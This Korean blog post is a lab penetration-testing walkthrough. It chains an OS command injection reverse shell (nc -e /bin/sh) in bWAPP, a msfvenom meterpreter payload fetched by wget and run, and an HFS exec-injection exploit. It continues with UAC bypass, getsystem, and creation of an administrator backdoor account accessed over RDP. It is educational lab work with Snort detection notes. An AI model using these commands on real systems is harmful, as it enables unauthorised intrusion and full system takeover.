[1] OS Command Injection을 이용한 모의 해킹
- 2022.08.03 -
해당 블로그의 내용에는 실제로 해킹을 하는 과정이 언급되어 있습니다.
모의 해킹의 환경은 100% 사용자가 통제가 가능한 상황에서 실습을 진행하였으며
불법적인 해킹이 아닌 모의 해킹으로써 해킹의 목적이 오롯이 교육의 성격에 초점이 맞추어져 있으며
본 과정을 악용하여 사용하는 2차 피해에 대해서는 행위자가 법적 책임을 질 수 있으며
일어나는 모든 피해에 대해서는 책임지지 않습니다.
구축 환경
가상 시스템 - 역할 - 운영기반
VM ware ESXi | VM | VM ware
vyos | Router | Debian GNU
pfSense | Firewall | FreBDS 11
mint linux | SOC | Ubuntu Linux
beebox | DMZ | Ubuntu Linux
KALI | Attacker | Debian GNU 10
Windows 7 | Victim | Microsofe Windows
IP 목록
Host - IP Address
VM ware ESXi | 192.168.52.132
vyos | 10.0.1.0
pfSense | 10.0.100.1
mint linux | 10.0.100.2
beebox | 10.0.10.100
KALI | 10.44.44.44
Windows 7 | 10.0.150.50
시나리오 내용
beebox의 bWAPP에서 OS Command Injection 취약점을 이용한 Reverse Connection 수행.
ELF 악성코드를 만들어서 배포 후 ELF와 MSF와 연결.
이후 rdesktop을 이용한 시스템접속 후 관리자 권한 탈취 및 시스템 장악
실습 환경
공격자
- OS : Kali Linux
- IP : 10.44.44.44
희생자
- OS : beebox(bWAPP)
- IP : 10.0.10.100
희생자2
- OS : Windows 7
- IP : 10.0.150.50
실습 시작
칼리에서 nc명령어를 이용하여 해당 포트를 열고 listening 대기해 준다.
nc -lvp 53
beebox의 bWAPP에서 OS Command Injection의 취약점을 이용해보았다.
기본으로 적혀있는 www.nsa.gov 이후 아래와 같은 명령어를 입력해 준다.
;nc 10.44.44.44 53 -e /bin/sh
그리고 Lookup을 눌러준다.
[터미널 1]
공격자와 연결이 되면 [그림2]와는 다른 모습을 볼 수 있다. Connect to 10.44.44.44로 연결된 것을 확인 할 수 있다.
이후에 ls와 같은 명령어를 입력하면 디렉토리 파일들을 그대로 볼 수 있다.
[터미널2]
새로운 터미널을 열고 sudo 명령어를 이용하여 ELF형식의 악성코드 shell2.elff을 생성한다.
sudo msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.44.44.44 LPORT=443 -f elf > shell2.elf
생성한 악성코드를 다운로드 받을 수 있도록 가상 서버를 열어준다.
sudo python3 -m http.server 80
[터미널1]
wget 명령어를 이용하여 생성된 악성코드를 설치한다.
wget http://10.44.44.44/shell2.elf
[터미널1]
뒤 이어 명령어를 입력하여 다운로드 된 shell2.elf 파일의 권한을 확인 한다.
ls -al | grep shell2
grep 명령어는 움켜잡다 라는 뜻인데 뒤의 shell2라는 문자열이 들어간 파일을 모두 출력한다.
위 명령어를 통해서 해당 파일의 권한설정이 [ -rw- r-- r-- ] 인 것을 확인 할 수 있었다.
chmod 명령어를 이용해 -rw r—r—에서 권한을 올려준다
chmod 777 shell2.elf
다시 위 명령어를 이용해 권한을 확인해보면 [ -rwx rwx rwx ]로 모든 권한을 부여가 된 것을 확인할 수 있었다.
명령어 정리
ls -al | grep shell2
chmod 777 shell2.elf
[터미널2]
msfconsole을 실행해준다.
sudo msfconsole
[터미널2]
바로 사용할 수 있는 것은 아니다.
핸들러를 사용하고 페이로드 셋팅과 LHOST, LPORT 설정이 필요하다.
명령어를 터미널1에서 악성코드(shell2.elf)파일을 실행한다.
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 10.44.44.44
set LPORT 443
exploit
[터미널1]
명령어를 입력하여 elf 파일을 실행시킨다.
이 악성코드는 [그림5]에서 보았다시피 특정 IP와 Port로 공격자에서 희생자로 연결하는 것이 아닌 반대로 희생자에서 공격자로 연결시키는.. 즉, 리버스 커넥션이다.
./shell2.elf
[터미널2]
공격자 <-> 희생자 간에 연결이 되어 meterpreter 세션이 열린 것을 확인 할 수 있다
exploit
[터미널2]
meterpreter로 세션이 열려있음을 확인했고 이어서 포트포워딩을 시작한다.
portfwd add -l 80 -p 80 -r 10.0.150.50
Firefox 브라우저를 통해 localhost로 연결을 시도하면 희생자 컴퓨터(Windows7)에서 띄웠던 HFS가 KALI에서도 볼 수있다.
또한 Windows7에서 확인할 수 없었던 서버 정보도 확인할 수 있었고 HFS의 버전도 확인이 가능했다.
localhost
KALI에서 주소창을 통해 명령어를 전달한다.
명령어는 notepad(메모장)을 띄우는 명령어를 전달한다.
localhost/?search=%00{.exec|notepad.}
해당 명령어를 KALI에서 브라우저 주소창을 통해 전달한 결과이다. 희생자 PC에서 메모장이 명령어에 맞게 열린 것을 확인했다.
이것으로 보아 공격자는 희생자가 실행한 HFS 프로그램의 취약점을 이용해 PC로 침투가 가능하다는 것을 확인 할 수 있다.
backgound명령어를 통해 세션을 닫는 것이 아닌. 화면 뒤에서 세션을 유지한다.
보통 또다른 공격을 같이 겸하거나 추가적인 명령어 하달이 필요할 때 background 명령어를 이용한다.
background
[터미널2]
background 명령어를 통해 세션을 뒤로 넘겨주고 다시 msf의 exploit화면으로 왔다.
주소창을 통해 hfs에 취약점이 있다는 사실을 알았으니 이점을 조금 더 공략해서 해당 시스템을 장악해보도록 하자.
명령어를 이용해 해당 hfs에 대한 툴이 있는지 찾아본다.
search hfs
[터미널2]
위와 같은 명령어를 통해 사용할 번호를 선택하고 HOST와 PORT를 지정해준다.
use1
set RHOST 10.44.44.44
set RPORT 80
exploit
만약 exploit을 했을 때 공격이 제대로 되지 않는다면 방화벽 규칙을 확인해보자. dev-net의 희생자 컴퓨터는 모든 포트와 IP주소가 열려있어야한다.
[터미널2]
열려있는 세션을 확인할 수 있다.
sessions -i
[터미널2]
방화벽 정책을 모두수정 후 exploit을 실행한 모습니다. 이제 세션이 2개가 되었다.
exploit
Snort(IPS)에서 탐지된 패킷이다. 비정상적인 패턴이 이를 감지하여 로그로 표현된 것을 확인 할 수 있다.
목록에는 조금 전 http.server 80으로 받았던 악성코드 elf 파일도 같이 확인 할 수 있었다.
스노트는 IPS로 침입차단 시스템인데 스노트의 옵션에서 blocked 기능을 잠시 꺼둠으로 IPS가 아닌 IDS(침입탐지시스템)으로 활용했다. 모의 해킹인 만큼 차단이 되면 안되고 탐지가 우선이기 때문이다.
[터미널2]
빨간 박스 안의 명령어들을 이용하여 현재 로그인 된 계정을 확인한다.
getuid
shell
net user
getuid로 현재 로그인 중인 uid 정보를 확인하고 shell명령어를 이용해 윈도우 기준의 cmd를 실행한다.
마지막의 net user로 현재 시스템안에 있는 계정 정보를 확인한다.
계정 생성을 위해 명령어를 입력한다.
net user hacker hacker /add
net user hacker hacker /add 는 계정 hacker를 생성하며 생성한 계정의 비밀번호는 hacker로 지정한다.
결과.
System error 5 has occurred.
Access is denied.
계정 생성이 거부가 된 것을 확인 할 수 있다. 관리자 계정이 아니기에 계정 생성이 제한 되고 있는 것이다.
exit 명령어를 이용해 접속된 세션에서 나온다.
다시 돌아가 background명령어와 함께 세션정보를 확인한다.
조금전에 [그림19]와는 다르게 세션 하나가 더 열려있는 것을 확인 할 수 있었다.
background
sessions -i
위 명령어를 통해 bypassuac를 찾는다.
UAC(User Access Control) 사용자 인증 관련에서 우회할 exploit을 찾는 것이다.
빨간 네모 박스의 2번을 사용할것이기에 use 2를 입력하여 해당 항목을 사용한다.
search bypassuac
use 2
위에서 보았던 세션 아이디 5번으로 세션을 설정하고 exploit을 통해 공격을 재게 한다.
exploit에 성공한 모습.
set SESSION 5
exploit
getuid를 입력하였을 때 아직 관리자 권한을 얻지 못한 일반 사용자 계정을 표시한다.
그러나 getsystem 명령어를 통해 관리자권한을 탈취했다. 이어서 다시 getuid를 입력하니 이전 getuid를 입력했던것과는 다른
결과가 나왔다. 관리자 계정이 탈취되었다는 것을 확인 할 수 있었다.
그리고 cmd를 열어 해킹에 필요한 계정을 생성한다.
getuid
getsystem
getuid
net user hacker hacker /add
명령어를 통해 현재 시스템에 존재하는 계정목록을 불러온다..
조금전에 새로 생성한 hacker라는 계정이 추가되었음을 확인 할 수 있다.
hacker라는 계정을 관리자(administrator)가 속해있는 관리자그룹(administrators)으로 추가하는 명령어를 입력한다.
성공적으로 되었음을 확인 할 수 있다.
net localgroup administrators hacker /add
net user
명령어를 이용해 관리자그룹에 hacker계정이 추가가 되었는지 확인한다.
net localgroup administrators
관리자 계정이 정상적으로 추가가 되었음을 확인한 뒤 exit를 통해 해당 접속에서 탈출한다.
그리고 포트포워딩을 하여 직접적으로 연결이 될 수 있게 설정한다.
exit
----------
portfwd add -l 3389 -p 3389 -r 10.0.150.50
[터미널3]
새로운 터미널을 열고 명령어를 이용해 원격으로 접속한다.
포트포워딩을 통한 포트를 설정했으니 쉽게 접속할 수 있다.
빨간 네모 박스에 Do you trust this certificate? 라 묻는 질문이 있다. 해당 인증서를 신뢰하는지 묻는것인데 yes를 눌러주자
sudo rdesktop 10.44.44.44
yes
rdesktop 명령어를 통해 접속을 하면 기존 컴퓨터에 로그인 된 계정은 자동으로 로그아웃이 된다.
root계정과 Other User계정이 나오는 것을 확인 할 수 있다.
이때 Other User를 선택해 조금전 명령어를 통해 생성한 hacker를 입력하여 로그인을 시도한다.
ID : hacker
PASSWD : hacker
해당 메시지가 나오면 YES를 눌러 진행해 준다.
새로운 관리자 계정을 탈취했다.
시스템을 완벽하게 장악했다.
장악당한 희생자PC의 화면이다.
조금전 생성한 hacker의 계정과 같이 있는 것을 확인했다.
마 치 며
실제로 모의해킹을 해보았는데
악성코드 분석 만큼 큰 재미를 느꼈다.
작은 취약점으로부터 시스템의 관리자 권한 탈취까지..
Windows 7 운영체제.. 지금은 2022년 8월이지만
어디선가 아직도 윈도우7을 기반으로하는 서버도 분명 있을 것이다.
작고 넘어가기 쉬운 취약점으로부터 이정도까지 할 수 있다는게 참 놀라울 따름이다.
'Red Team > Penetration Testing & CTF' 카테고리의 다른 글
[6] Earth리눅스 취약점 분석 및 모의해킹(w. vulnhub) (0) | 2022.08.27 |
---|---|
[5] docker에 대한 무작위대입공격 모의해킹 (2) | 2022.08.22 |
[4]OpenSSL 취약점을 이용한 Heartbleed 모의해킹 (0) | 2022.08.19 |
[3] Nessus를 활용한 Metasploitable2에 대한 samba취약점 해킹 (0) | 2022.08.19 |
[2] hfs 취약점을 이용한 모의해킹 (0) | 2022.08.04 |
댓글
이 글 공유하기
다른 글
-
[5] docker에 대한 무작위대입공격 모의해킹
[5] docker에 대한 무작위대입공격 모의해킹
2022.08.22 -
[4]OpenSSL 취약점을 이용한 Heartbleed 모의해킹
[4]OpenSSL 취약점을 이용한 Heartbleed 모의해킹
2022.08.19 -
[3] Nessus를 활용한 Metasploitable2에 대한 samba취약점 해킹
[3] Nessus를 활용한 Metasploitable2에 대한 samba취약점 해킹
2022.08.19 -
[2] hfs 취약점을 이용한 모의해킹
[2] hfs 취약점을 이용한 모의해킹
2022.08.04